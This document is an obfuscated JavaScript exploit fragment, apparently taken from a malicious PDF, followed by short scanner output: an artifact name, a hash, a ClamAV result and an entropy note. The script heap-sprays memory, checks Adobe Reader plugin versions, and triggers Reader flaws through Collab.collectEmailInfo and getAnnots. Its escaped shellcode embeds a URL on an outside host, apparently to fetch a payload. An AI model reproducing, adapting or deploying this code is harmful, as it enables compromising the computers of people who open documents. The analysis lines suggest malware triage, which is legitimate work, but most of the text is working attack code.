%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6570%u596b%u0043%u7468%u7074%u2f3a%u6d2f%u6867%u7073%u7074%u6d6d%u636c%u632e%u6d6f%u6e2f%u6574%u702f%u6f72%u2e78%u6870%u2f70%u4879%u3837%u3639%u6630%u3739%u3056%u3031%u6630%u3630%u3030%u3630%u3052%u3336%u3033%u3266%u3131%u3230%u3354%u3934%u3233%u3363%u3238%u3330%u306c%u3030%u0063";app.TreoBdjW = unescape(w526_F_6y__BSH8(o_l_cS4, V4m__EUe_7));var o__nO2k0___j = 0x400000;var L82soy_ih5 = ur8_5U1.length * 2;var IEjSn1uIqdDtbP = o__nO2k0___j - (L82soy_ih5+0x38);j_Fc1_le_7O_E = U_S_42ig(j_Fc1_le_7O_E, IEjSn1uIqdDtbP);var f2s_Y7sdg = (p8F__s_20cd_7 - 0x400000)/o__nO2k0___j;for (var xw__o16YDdm = 0; xw__o16YDdm < f2s_Y7sdg; xw__o16YDdm++) {YCS7_4[xw__o16YDdm] = j_Fc1_le_7O_E + ur8_5U1;}}function N7h8rD_16XK0f_S(){var g_37QG1263_6KJ = "";for (blp_lPs_8j = 0; blp_lPs_8j < 12; blp_lPs_8j++) {g_37QG1263_6KJ += unescape("%u0c0c%u0c0c");}var i7TtQa6P = "";for (blp_lPs_8j = 0; blp_lPs_8j < 750; blp_lPs_8j++) {i7TtQa6P += g_37QG1263_6KJ;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: i7TtQa6P});app.clearTimeOut(wLKhFQ);}function e__4qfK(EwJ_JW_o){var k2_a_4eag_r = wLKhFQ;if ((EwJ_JW_o >= 8 && EwJ_JW_o < 8.11) || EwJ_JW_o < 7.1) {NRPWb_n6(23, "%u0c0c%u0c0c", EwJ_JW_o);app.vh8VC5Qs1_t6o = N7h8rD_16XK0f_S;wLKhFQ = app.setTimeOut("app.vh8VC5Qs1_t6o()", 1);} if (EwJ_JW_o < 7.12) {function i_s5tkd3xk8Bs_y() {try {NRPWb_n6(22, "%u0c0c%u0c0c", EwJ_JW_o);var dl____0JQ8g = -0x7CFCFCFD;this.getAnnots(dl____0JQ8g, dl____0JQ8g, dl____0JQ8g, dl____0JQ8g);} catch(e) {console.println("annots exception error"); }}i_s5tkd3xk8Bs_y();}NRPWb_n6(13, "%u0c0c%u0c0c", EwJ_JW_o);if (k2_a_4eag_r) {app.clearTimeOut(k2_a_4eag_r);}}var f6K7LBj__C = 0;var XkJ_jBRG_r = app.plugIns;for (var kDrB6NNTP4 = 0; kDrB6NNTP4 < XkJ_jBRG_r.length; kDrB6NNTP4++) {var smW0BPRMir = XkJ_jBRG_r[kDrB6NNTP4].version;if (smW0BPRMir > f6K7LBj__C) { f6K7LBj__C = smW0BPRMir; }}if (app.viewerVersion == 9.103 && f6K7LBj__C < 9.13) {f6K7LBj__C = 9.13;}if (!(f6K7LBj__C < 9 || f6K7LBj__C >= 9.2) ||    !(f6K7LBj__C < 8 || f6K7LBj__C >= 8.17) ||    !(f6K7LBj__C < 7 || f6K7LBj__C >= 7.14)) {e__4qfK(f6K7LBj__C);}
u3d_00_off00003505.bin pdf-3d-stream PDF U3D 3D stream at offset 0x3505 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.